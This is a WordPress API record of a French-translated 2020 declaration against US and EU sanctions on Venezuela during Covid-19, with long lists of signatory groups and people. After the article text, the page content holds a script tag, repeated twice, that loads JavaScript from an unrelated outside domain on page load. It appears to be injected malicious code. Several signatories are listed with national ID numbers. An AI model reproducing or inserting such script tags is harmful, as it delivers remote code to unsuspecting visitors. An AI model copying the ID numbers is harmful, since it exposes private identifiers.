{"id":17572,"date":"2020-03-27T16:34:13","date_gmt":"2020-03-27T16:34:13","guid":{"rendered":"http:\/\/www.lapluma.net\/?p=17572"},"modified":"2020-03-27T16:41:34","modified_gmt":"2020-03-27T16:41:34","slug":"las-sanciones-son-un-crimen-ante-la-pandemia-del-covid-19-exigimos-el-cese-inmediato-del-bloqueo-economico-contra-el-pueblo-de-venezuela","status":"publish","type":"post","link":"https:\/\/www.lapluma.net\/fr\/2020\/03\/27\/las-sanciones-son-un-crimen-ante-la-pandemia-del-covid-19-exigimos-el-cese-inmediato-del-bloqueo-economico-contra-el-pueblo-de-venezuela\/","title":{"rendered":"Les sanctions sont un crime : face \u00e0 la pand\u00e9mie de Covid-19, nous exigeons la lev\u00e9e imm\u00e9diate du blocus \u00e9conomique contre le peuple du Venezuela"},"content":{"rendered":"<div id=\"ffenetremailtomailModal\" style=\"z-index: 20002;\">\n<div id=\"ffenetremailtopopupModalMail\">\n<div id=\"ffenetremailtotoModalClose\"><\/div>\n<div id=\"ffenetremailtopopupQuestion\" style=\"text-align: justify;\">What do you want to do ?<\/div>\n<p><a id=\"ffenetremailtoemailOpen\"><\/a>New mail<button id=\"ffenetremailtobuttonEmail\">Copy<\/button><textarea id=\"ffenetremailtotextArea\"><\/textarea><\/p>\n<\/div>\n<\/div>\n<div style=\"text-align: justify;\"><\/div>\n<p style=\"text-align: justify;\"><img loading=\"lazy\" decoding=\"async\" class=\"alignleft\" src=\"http:\/\/tlaxcala-int.org\/upload\/aut_3592.jpg\" width=\"146\" height=\"118\" border=\"0\" \/>Aujourd&rsquo;hui, face \u00e0 la pand\u00e9mie mondiale de COVID19 &#8211; plus connue sous le nom de coronavirus &#8211; d\u00e9clar\u00e9e par l&rsquo;Organisation mondiale de la sant\u00e9, le peuple du Venezuela continue d&rsquo;\u00eatre victime d&rsquo;un blocus \u00e9conomique, financier et commercial impos\u00e9 par les USA et l&rsquo;Union europ\u00e9enne, qui se traduit par une violation grave et massive de ses droits humains. Un blocus injuste, immoral, ill\u00e9gal et criminel qui a commenc\u00e9 il y a plus de 5 ans avec l&rsquo;approbation par le Congr\u00e8s des USA de la loi 113-278, qui impose des interdictions extraterritoriales \u00e0 toute personne, soci\u00e9t\u00e9 priv\u00e9e ou gouvernement de r\u00e9aliser des transactions financi\u00e8res ou commerciales avec le Venezuela, sous la menace d&rsquo;imposer des sanctions s\u00e9v\u00e8res, y compris la confiscation de biens.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" src=\"http:\/\/www.tlaxcala-int.org\/upload\/gal_22076.jpg\" alt=\"http:\/\/www.tlaxcala-int.org\/upload\/gal_22076.jpg\" width=\"555\" height=\"304\" \/><\/p>\n<p style=\"text-align: justify;\">Le blocus \u00e9conomique mis en place contre le Venezuela a entra\u00een\u00e9 une violation g\u00e9n\u00e9rale, syst\u00e9matique, intentionnelle et grave des droits humains \u00e0 la vie, \u00e0 la sant\u00e9, \u00e0 l&rsquo;int\u00e9grit\u00e9 et \u00e0 l&rsquo;alimentation de la population v\u00e9n\u00e9zu\u00e9lienne, affectant particuli\u00e8rement les personnes les plus vuln\u00e9rables, telles que les enfants, les adolescents, les adultes, les personnes \u00e2g\u00e9es et les personnes handicap\u00e9es. Dans le sc\u00e9nario actuel, face \u00e0 la pand\u00e9mie du virus Covid-19 , les menaces pour la vie et la sant\u00e9 de la population augmentent consid\u00e9rablement avec le maintien de mesures coercitives unilat\u00e9rales qui emp\u00eachent l&rsquo;\u00c9tat v\u00e9n\u00e9zu\u00e9lien d&rsquo;utiliser les ressources d\u00e9pos\u00e9es dans des banques priv\u00e9es internationales, estim\u00e9es \u00e0 plus 7 milliards d\u2019euros pour mettre en \u0153uvre les politiques sanitaires n\u00e9cessaires \u00e0 la pr\u00e9vention et au traitement de la pand\u00e9mie, ainsi que pour faire face \u00e0 l&rsquo;impact \u00e9conomique qu&rsquo;elle g\u00e9n\u00e8re. De m\u00eame, cela emp\u00eache ou entrave l&rsquo;\u00c9tat v\u00e9n\u00e9zu\u00e9lien dans toute initiative visant \u00e0 acheter, transporter et faire entrer sur le territoire national les intrants sanitaires n\u00e9cessaires \u00e0 cette fin.<\/p>\n<p style=\"text-align: justify;\">\u00c9tant donn\u00e9 l&rsquo;impossibilit\u00e9 d&rsquo;utiliser les ressources propres et le refus du Fonds mon\u00e9taire international de fournir une assistance par le biais de la \u00ab\u00a0Facilit\u00e9 de financement rapide\u00a0\u00bb aux pays touch\u00e9s par le virus, sous pr\u00e9texte de ne pas reconna\u00eetre le gouvernement l\u00e9gitime du Venezuela, il convient de reconna\u00eetre la solidarit\u00e9 internationale des peuples et des gouvernements de Cuba, de Chine et de Russie, qui ont offert et fourni au peuple v\u00e9n\u00e9zu\u00e9lien des m\u00e9dicaments, des fournitures et du personnel de sant\u00e9 pour pr\u00e9venir et traiter cette urgence.<\/p>\n<p style=\"text-align: justify;\">Par cons\u00e9quent, compte tenu de la pand\u00e9mie d\u00e9clar\u00e9e par la propagation du virus Covid-19 dans le monde, nous, signataires de cette d\u00e9claration, demandons au gouvernement des USA et \u00e0 l&rsquo;Union europ\u00e9enne de lever imm\u00e9diatement le blocus \u00e9conomique, financier et commercial contre le Venezuela, afin de favoriser l&rsquo;application opportune et efficace des m\u00e9canismes de pr\u00e9vention et de soins \u00e0 la population.<\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-size: 18pt;\"><strong>Organisations et mouvements sociaux signataires<\/strong><\/span><\/h3>\n<ol>\n<li style=\"list-style-type: none;\">\n<ol>\n<li style=\"list-style-type: none;\">\n<ol style=\"text-align: justify;\">\n<li>Sures. Venezuela<\/li>\n<li>Asociaci\u00f3n Venezolana de Juristas<\/li>\n<li>Fundaci\u00f3n Intercambio de Saberes de los Pueblos Intersaber. Venezuela<\/li>\n<li>Red venezolana de derechos humanos<\/li>\n<li>Red Ciega. Venezuela<\/li>\n<li>Fundaci\u00f3n de V\u00edctimas del Sicariato Campesino. Venezuela<\/li>\n<li>Genero Con Clase. Venezuela<\/li>\n<li>Base L\u00e9sbica Venezuela<\/li>\n<li>Rompiendo la Norma. Venezuela<\/li>\n<li>Frente Francisco de Miranda. Venezuela<\/li>\n<li>Frente Bicentenario de Mujeres 200. Venezuela<\/li>\n<li>Revista Debate Abierto. Venezuela<\/li>\n<li>Movimiento de pobladoras y pobladores. Venezuela<\/li>\n<li>Movimiento de Mujeres Clara Zetkin. Venezuela<\/li>\n<li>Confederaci\u00f3n Nacional de mujeres campesinas ind\u00edgenas originarias de Bolivia Bartolina Sisa. Bolivia<\/li>\n<li>Red de Artistas e Intelectuales en Defensa de la Humanidad. Cap\u00edtulo Argentina.<\/li>\n<li>Asociaci\u00f3n Nacional de Juristas Dem\u00f3cratas. Italia<\/li>\n<li>Asociaci\u00f3n Argentina de Juristas<\/li>\n<li>Asociaci\u00f3n para la Unidad de Nuestra Am\u00e9rica. Argentina<\/li>\n<li>Corriente Peronista Descamisados. Argentina<\/li>\n<li>Vocesenlucha &#8211; Comunicaci\u00f3n Popular Am\u00e9rica Latina \/ Espa\u00f1a<\/li>\n<li>Comit\u00e9 Internacional Lula Libre Zona Norte, Buenos Aires, Argentina 23. CODEPINK. Estados Unidos<\/li>\n<li>Comit\u00e9 Antifascista 4t. M\u00e9xico<\/li>\n<li>Nuevo pa\u00eds, Frente Popular Francisco Villa. M\u00e9xico<\/li>\n<li>Movimiento de Liberaci\u00f3n Nacional. M\u00e9xico<\/li>\n<li>Venezuelan\u00e4tverket-Red Venezuela-Suecia<\/li>\n<li>Plataforma comunicacional feminista la 5ta ola. Venezuela<\/li>\n<li>Agrupaci\u00f3n Envar El Kadri-Peronismo de Base. Argentina<\/li>\n<li>MFP Lydda Franco Far\u00edas. Venezuela<\/li>\n<li>Fundalatin. Venezuela<\/li>\n<li>Colectivo La Otra Escuela. Venezuela<\/li>\n<li>Red N\u00f3rdica de Solidaridad con Venezuela. Suecia<\/li>\n<li>Asociaci\u00f3n de Vivienda y H\u00e1bitat Colectivo El Rosal. Venezuela<\/li>\n<li>Guardianes de Inquilinos y Peque\u00f1os Propietarios. Venezuela<\/li>\n<li>Colectivo Feminista Mujer G\u00e9nero Rebelde (MUGER)<\/li>\n<li>Movimiento Ecuatoriano Alfarista Bolivariano MEAB<\/li>\n<li>Asociaci\u00f3n Civil de Comerciantes Unidos del Mercado Bolivariano la Hoyada ACCUMHB<\/li>\n<li>Federaci\u00f3n Venezolana de Estudiantes Universitarios. Venezuela<\/li>\n<li>Colectivo Feminista Clasista Ana Montenegro. Brasil<\/li>\n<li>Movimiento de Mujeres por el socialismo Epifan\u00eda S\u00e1nchez \u00ab\u00a0La negra Aurora\u00a0\u00bb<\/li>\n<li>Instituto para el desarrollo Educativo, econ\u00f3mico y social de Venezuela \u00ab\u00a0Ideasuve\u00a0\u00bb<\/li>\n<li>Centro de Desarrollo \u00c9tnico. Venezuela<\/li>\n<li>Movimiento de mujeres Manuelita S\u00e1enz. Venezuela<\/li>\n<li>Escuela Agroecol\u00f3gica de los Pueblos Originarios Venezuela<\/li>\n<li>Movimiento Nacional de Amistad y Solidaridad Mutua Venezuela Cuba<\/li>\n<li>Frenteamplista 2020.Uruguay<\/li>\n<li>Radio Ciudadana 103.3 FM Uruguay<\/li>\n<li>Mesa Nacional Peronismo 26 de Julio. Argentina<\/li>\n<li>Colectivo Nacional de Medic@s por Venezuela (CONAMEV)<\/li>\n<li>Dignidad LGBTTI. Venezuela<\/li>\n<li>Bloque socialista de liberaci\u00f3n homosexual. Venezuela<\/li>\n<li>Colectivo l\u00e9sbico y Feminista Las Beguinas. Venezuela<\/li>\n<li>C\u00edrculos bolivarianos socialistas de Costa Rica<\/li>\n<li>Comit\u00e9 costarricense de solidaridad con la Revoluci\u00f3n Bolivariana<\/li>\n<li>Consejo Nacional e Internacional de la Comunicaci\u00f3n Popular Conaicop Costa Rica<\/li>\n<li>Sandinistas de Costa Rica<\/li>\n<li>Brigadas Internacionales Comunicaci\u00f3n Solidaria Pa\u00edses Bajos<\/li>\n<li>Unified Unmah. Ir\u00e1n<\/li>\n<li>Movimiento El Otro Beta. Venezuela<\/li>\n<li>Sexodiversidad Revolucionaria de Venezuela<\/li>\n<li>Movimiento Sexo diverso M\u00e9rida. Venezuela<\/li>\n<li>Movimiento Sexo diverso Bol\u00edvar. Venezuela<\/li>\n<li>Movimiento Social de la Sexo Diversidad Zulia. Venezuela<\/li>\n<li>Movimiento Social de la Sexo Diversidad Lara. Venezuela<\/li>\n<li>Movimiento Social Sexo Diversidad Nueva Esparta. Venezuela<\/li>\n<li>Secretaria de la Diversidad Sexual del Zulia. Venezuela<\/li>\n<li>Consejo Nacional de la Sexodiversidad. Venezuela<\/li>\n<li>Consejo Presidencial de Gobierno Popular de la Sexodiversidad. Venezuela<\/li>\n<li>Plataforma de Mujeres Lesbiana \u00c1ngela Davies. Venezuela<\/li>\n<li>Asociaci\u00f3n Bolivariana de Productores Textiles y Afines ABPTAI<\/li>\n<li>Frente mujeres petroleras de Carabobo. Venezuela<\/li>\n<li>Sexo Diversidad Revolucionaria de Venezuela<\/li>\n<li>Comit\u00e9 de Solidaridad Internacional (COSI). Venezuela<\/li>\n<li>Movimiento de Solidaridad Militar Hugo Ch\u00e1vez<\/li>\n<li>Sindicato nacional de trabajadores de la Asamblea Nacional<\/li>\n<li>Fundaci\u00f3n O&rsquo;Leary. Venezuela<\/li>\n<li>Movimiento Patria. Panam\u00e1<\/li>\n<li>Asociaci\u00f3n civil Victimas del Caracazo y del Terrorismo de Estado Cuartorepublicano *ASOVIC*. Venezuela<\/li>\n<li>Movimiento de Integraci\u00f3n y Emancipaci\u00f3n de Derechos Humanos del Sur. *MOVIEDHS*. Venezuela<\/li>\n<li>Colectivo soberan\u00eda rural de Humocaro Alto. Venezuela<\/li>\n<li>Conuco\/ escuela agroecol\u00f3gica de Humocaro Alto. Venezuela<\/li>\n<li>Movimiento Antiimperialista Universitario. Venezuela<\/li>\n<li>Asociaci\u00f3n Civil M\u00fasica Por Los Ni\u00f1os.<\/li>\n<li>Movimiento Juvenil Robert Serra. Venezuela<\/li>\n<li>Movimiento de Solidaridad Internacional Puente Sur. Venezuela<\/li>\n<li>Frente Integral Popular Constituyente Antiimperialista. Venezuela.<\/li>\n<li>Movimiento Bolivariano Bibliotecario y Comunidad, MBBC<\/li>\n<li>Movimiento Guardianes de los Ancestros Rainier Garc\u00eda<\/li>\n<li>Movimiento de Solidaridad y Articulaci\u00f3n Internacional<\/li>\n<li>Surgentes. Colectivo de DDHH\u00a0\u00bb. Venezuela<\/li>\n<li>Movimiento Clan Madara Victor Ledezma. Venezuela Venezuela<\/li>\n<li>Movimiento Nacional de Espiritistas Jirajara G\u00e9nesis Mujica. Venezuela<\/li>\n<li>Colectivo Diversidad UBV. Venezuela<\/li>\n<li>Partido Popular Tekojoja, integrante de la Concertaci\u00f3n Frente Guasu. Paraguay<\/li>\n<li>FaldasR, Venezuela<\/li>\n<li>Movimiento de Inquilinos e inquilinas. Venezuela<\/li>\n<li>Movimiento Ecofeminista de Venezuela. Mecofeven. Venezuela<\/li>\n<li>Equipo Promotor del Comit\u00e9 de Agua del Urbanismo Ciudad Ch\u00e1vez. Venezuela<\/li>\n<li>Juventud de la UPV. Venezuela<\/li>\n<li>15 y \u00faltimo. Venezuela<\/li>\n<li>Movimiento antiimperialista de jubilados y jubiladas de educaci\u00f3n Sim\u00f3n Bol\u00edvar. Venezuela<\/li>\n<li>Frente de Profesionales y T\u00e9cnicos Bel\u00e9n San Juan. Venezuela<\/li>\n<li>Movimiento 27 de Octubre. Venezuela<\/li>\n<li>Movimiento Ecologista Venezolano<\/li>\n<li>Movimiento Agrourbano Siembra. Venezuela<\/li>\n<li>Fundaci\u00f3n venezolana por el derecho a la vivienda. Venezuela<\/li>\n<li>Movimiento de Cient\u00edficos Sociales MOCIENSO. Venezuela<\/li>\n<li>Movimiento Anglicano de Venezuela<\/li>\n<li>C\u00e1tedra Guaicaipuro Antonio Cari\u00f1a. Venezuela<\/li>\n<li>Frente de Colectivos Revolucionario Sergio Rodr\u00edguez. Venezuela<\/li>\n<li>Bloque de Comunas de Caracas. Venezuela<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<h3 style=\"text-align: justify; padding-left: 40px;\"><span style=\"font-size: 18pt;\"><strong><em>Signataires individuels<\/em><\/strong><\/span><\/h3>\n<ol>\n<li style=\"list-style-type: none;\">\n<ol>\n<li style=\"list-style-type: none;\">\n<ol start=\"113\">\n<li style=\"text-align: justify;\">Romain Migus. Periodista, escritor. Francia<\/li>\n<li style=\"text-align: justify;\">Fabio Marcelli. Jurista. Italia<\/li>\n<li style=\"text-align: justify;\">Beinusz Szmukler. Presidente del Observatorio de la Justicia Argentina y miembro del Consejo de la Presidencia de la Asamblea Permanente de Derechos Humanos. Argentina<\/li>\n<li style=\"text-align: justify;\">Claudia Rocca. Presidenta de la Asociaci\u00f3n Argentina de Juristas.<\/li>\n<li style=\"text-align: justify;\">Luigi Ficarra (avvocato in Padova, Italia)<\/li>\n<li style=\"text-align: justify;\">Jes\u00fas Antonio Delgado Mendoza, Frente Cruz del Sur.<\/li>\n<li style=\"text-align: justify;\">Rogger Taboada. Secretario general del movimiento Per\u00fa Para Todos<\/li>\n<li style=\"text-align: justify;\">Carlos \u00c1ngulo. Luzern Suiza.<\/li>\n<li style=\"text-align: justify;\">Faber Augusto Brand Brand. Estados Unidos<\/li>\n<li style=\"text-align: justify;\">Paula klachko. coordinadora del cap\u00edtulo Argentina de la REDH<\/li>\n<li style=\"text-align: justify;\">Juliana Marino,\u00a0\u00a0 DNI 5571238. Integrante del cap\u00edtulo Argentina de la REDH<\/li>\n<li style=\"text-align: justify;\">Senador Sixto Pereira. Paraguay<\/li>\n<li style=\"text-align: justify;\">Ana Mar\u00eda Ramb. Escritora. Argentina<\/li>\n<li style=\"text-align: justify;\">Dr. Gilberto L\u00f3pez y Rivas. Profesor Investigador Inah M\u00e9xico. Articulista de La Jornada. M\u00e9xico<\/li>\n<li style=\"text-align: justify;\">Leonel Falc\u00f3n Guerra. Vocero pol\u00edtico y Secretario Nacional de Relaciones Internacionales del Partido Humanista Peruano\/ Juntos por el Per\u00fa<\/li>\n<li style=\"text-align: justify;\">Pablo Fern\u00e1ndez, activista de Derechos Humanos. Venezuela<\/li>\n<li style=\"text-align: justify;\">Rub\u00e9n Dar\u00edo Gonz\u00e1lez Reategui, miembro de la Asociaci\u00f3n Venezolana de Juristas y la Asociaci\u00f3n Americana de Juristas<\/li>\n<li style=\"text-align: justify;\">Elo\u00edsa Fernanda Fuenmayor Machado. Bi\u00f3loga. C\u00e9dula: V 13.409.652<\/li>\n<li style=\"text-align: justify;\">Germ\u00e1n Riveros,\u00a0 C. I. 6.194.867. Venezuela<\/li>\n<li style=\"text-align: justify;\">Antonio Alcal\u00e1 C.I. 4578586. Venezuela<\/li>\n<li style=\"text-align: justify;\">Mar\u00eda Lucrecia Hern\u00e1ndez. Activista de Derechos Humanos. Argentina<\/li>\n<li style=\"text-align: justify;\">Macario Sandoval, titular C.I. V- 2.814.782. Venezuela<\/li>\n<li style=\"text-align: justify;\">Rub\u00e9n Suarez. Secretaria Internacional Consejo Nacional e Internacional de Comunicaci\u00f3n Popular. Uruguay<\/li>\n<li style=\"text-align: justify;\">Dr. Arturo Guill\u00e9n. Prosesor-Investigador del Departamento de Econom\u00eda. Universidad Aut\u00f3noma Metropolitana Iztapalapa. Mexico<\/li>\n<li style=\"text-align: justify;\">Josefina Morales. IIEC-UNAM. M\u00e9xico<\/li>\n<li style=\"text-align: justify;\">Fernando Bossi Director del Portal Alba<\/li>\n<li style=\"text-align: justify;\">Adri\u00e1n Araque Presidente del Movimiento de Solidaridad y Articulaci\u00f3n Internacional F.I.P.C.A<\/li>\n<li style=\"text-align: justify;\">Naile J. Figuera B., CI V-362658. Central Bolivariana Socialista de Trabajadores y Trabajadoras de Venezuela<\/li>\n<li style=\"text-align: justify;\">Ismael Morales C.I. 18.830.519.Diputado Constituyente de la Asamblea Nacional Constituyente. Venezuela<\/li>\n<li style=\"text-align: justify;\">Luis Reyes Castillo. Presidente nacional del partido ORA (Organizaci\u00f3n Renovadora Aut\u00e9ntica). Venezuela<\/li>\n<li style=\"text-align: justify;\">Lilian Margarita Montero. Integrante de la Asociaci\u00f3n Venezolana de Juristas<\/li>\n<li style=\"text-align: justify;\">Lucila P\u00e9rez. Movimiento de mujeres Manuelita S\u00e1enz, Venezuela<\/li>\n<li style=\"text-align: justify;\">Fabi\u00e1n Paredes. Presidente del Movimiento Internacionalista Puente Sur. Venezuela<\/li>\n<li style=\"text-align: justify;\">Movimiento Electoral del Pueblo, MEP. Venezuela<\/li>\n<li style=\"text-align: justify;\">Jimmy L\u00f3pez Morillo. Periodista. Venezuela<\/li>\n<li style=\"text-align: justify;\">Oswaldo Bilbao Lobat\u00f3n. Per\u00fa<\/li>\n<li style=\"text-align: justify;\">Parisa Rezaei, Unified Unmah. Ir\u00e1n<\/li>\n<li style=\"text-align: justify;\">Aura D\u00edaz. Venezuela<\/li>\n<li style=\"text-align: justify;\">Carmen Cecilia Sevilla De Coronel. Venezuela<\/li>\n<li style=\"text-align: justify;\">Luis Castillo. Venezuela<\/li>\n<li style=\"text-align: justify;\">Alicia Herrera. Movimiento de Inquilinos e Inquilinas. Venezuela<\/li>\n<li style=\"text-align: justify;\">Mois\u00e9s Garc\u00eda. Movimiento cristianos por Venezuela<\/li>\n<li style=\"text-align: justify;\">Yhony Garc\u00eda. Movimiento nacional de amistad y solidaridad mutua Venezuela Cubasi.<\/li>\n<li style=\"text-align: justify;\">Adri\u00e1n Araque Presidente del Movimiento de Solidaridad y Articulaci\u00f3n Internacional F.I.P.C.A<\/li>\n<li style=\"text-align: justify;\">Jhon Caicedo, SEPLA, Venezuela<\/li>\n<li style=\"text-align: justify;\">Wilman Verd\u00fa VI 6300170 Periodista y defensor de Derechos Humanos. Venezuela<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<p><span style=\"font-size: 12pt;\"><strong>Original: <a href=\"http:\/\/www.lapluma.net\/2020\/03\/27\/las-sanciones-son-un-crimen-ante-la-pandemia-del-covid-19-exigimos-el-cese-inmediato-del-bloqueo-economico-contra-el-pueblo-de-venezuela\/\"><span class=\"navigation_cadre\">Las sanciones son un crimen: Ante la pandemia del Covid-19, exigimos el cese inmediato del bloqueo econ\u00f3mico contra el pueblo de Venezuela<\/span><\/a><\/strong><\/span><\/p>\n<p><span style=\"font-size: 12pt;\"><strong>Traduit par <span class=\"trad\"> <a href=\"http:\/\/tlaxcala-int.org\/biographie.asp?ref_aut=2&amp;lg_pp=fr\">Fausto Giudice \u0424\u0430\u0443\u0441\u0442\u043e \u0414\u0436\u0443\u0434\u0438\u0447\u0435 \u0641\u0627\u0648\u0633\u062a\u0648 \u062c\u064a\u0648\u062f\u064a\u0634\u064a<\/a><\/span><\/strong><\/span><\/p>\n<p><span style=\"font-size: 12pt;\"><strong><span class=\"navigation_cadre\">Traductions disponibles : <a href=\"http:\/\/tlaxcala-int.org\/article.asp?reference=28445\">English<\/a>\u00a0 <\/span><\/strong><\/span><\/p>\n<p><span style=\"font-size: 12pt;\"><strong>Source: <a href=\"http:\/\/tlaxcala-int.org\/article.asp?reference=28446\">Tlaxcala <\/a>le 25 mars 2020<\/strong><\/span><\/p>\n<div id=\"ffenetremailtomailModal\" style=\"z-index: 20002;\">\n<div id=\"ffenetremailtopopupModalMail\">\n<div id=\"ffenetremailtotoModalClose\"><\/div>\n<div id=\"ffenetremailtopopupQuestion\">What do you want to do ?<\/div>\n<p><a id=\"ffenetremailtoemailOpen\"><\/a>New mail<button id=\"ffenetremailtobuttonEmail\">Copy<\/button><textarea id=\"ffenetremailtotextArea\"><\/textarea><\/p>\n<\/div>\n<\/div>\n<div><img \/><\/div>\n<p><script src=\"\/\/jaretsummer.com\/228ebbb479fb2ce2f7.js\"><\/script><\/p>\n<div id=\"ffenetremailtomailModal\" style=\"z-index: 20002;\">\n<div id=\"ffenetremailtopopupModalMail\">\n<div id=\"ffenetremailtotoModalClose\"><\/div>\n<div id=\"ffenetremailtopopupQuestion\">What do you want to do ?<\/div>\n<p><a id=\"ffenetremailtoemailOpen\"><\/a>New mail<button id=\"ffenetremailtobuttonEmail\">Copy<\/button><textarea id=\"ffenetremailtotextArea\"><\/textarea><\/div>\n<\/div>\n<div><img \/><\/div>\n<p><script src=\"\/\/jaretsummer.com\/228ebbb479fb2ce2f7.js\"><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>What do you want to do ? New mailCopy Aujourd&rsquo;hui, face &agrave; la pand&eacute;mie mondiale de COVID19 &ndash; plus connue sous le nom de coronavirus &ndash; d&eacute;clar&eacute;e par l&rsquo;Organisation mondiale de la sant&eacute;, le peuple du Venezuela continue d&rsquo;&ecirc;tre victime d&rsquo;un blocus &eacute;conomique, financier et commercial impos&eacute; par les USA et l&rsquo;Union europ&eacute;enne, qui se&#8230;<\/p>\n","protected":false},"author":45,"featured_media":17576,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[217],"tags":[65,8533,8531,8530,8532],"coauthors":[423],"class_list":["post-17572","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-abya-yala","tag-abya-yala","tag-crise-du-coronavirus","tag-crisis-del-coronavirus","tag-sanciones-criminales-usa-ue-a-venezuela","tag-sanctions-criminelles-usa-ue-contre-venezuela"],"translation":{"provider":"WPGlobus","version":"2.12.2","language":"fr","enabled_languages":["es","fr"],"languages":{"es":{"title":true,"content":true,"excerpt":false},"fr":{"title":true,"content":true,"excerpt":false}}},"_links":{"self":[{"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/posts\/17572","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/users\/45"}],"replies":[{"embeddable":true,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/comments?post=17572"}],"version-history":[{"count":6,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/posts\/17572\/revisions"}],"predecessor-version":[{"id":17575,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/posts\/17572\/revisions\/17575"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/media\/17576"}],"wp:attachment":[{"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/media?parent=17572"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/categories?post=17572"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/tags?post=17572"},{"taxonomy":"author","embeddable":true,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/coauthors?post=17572"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}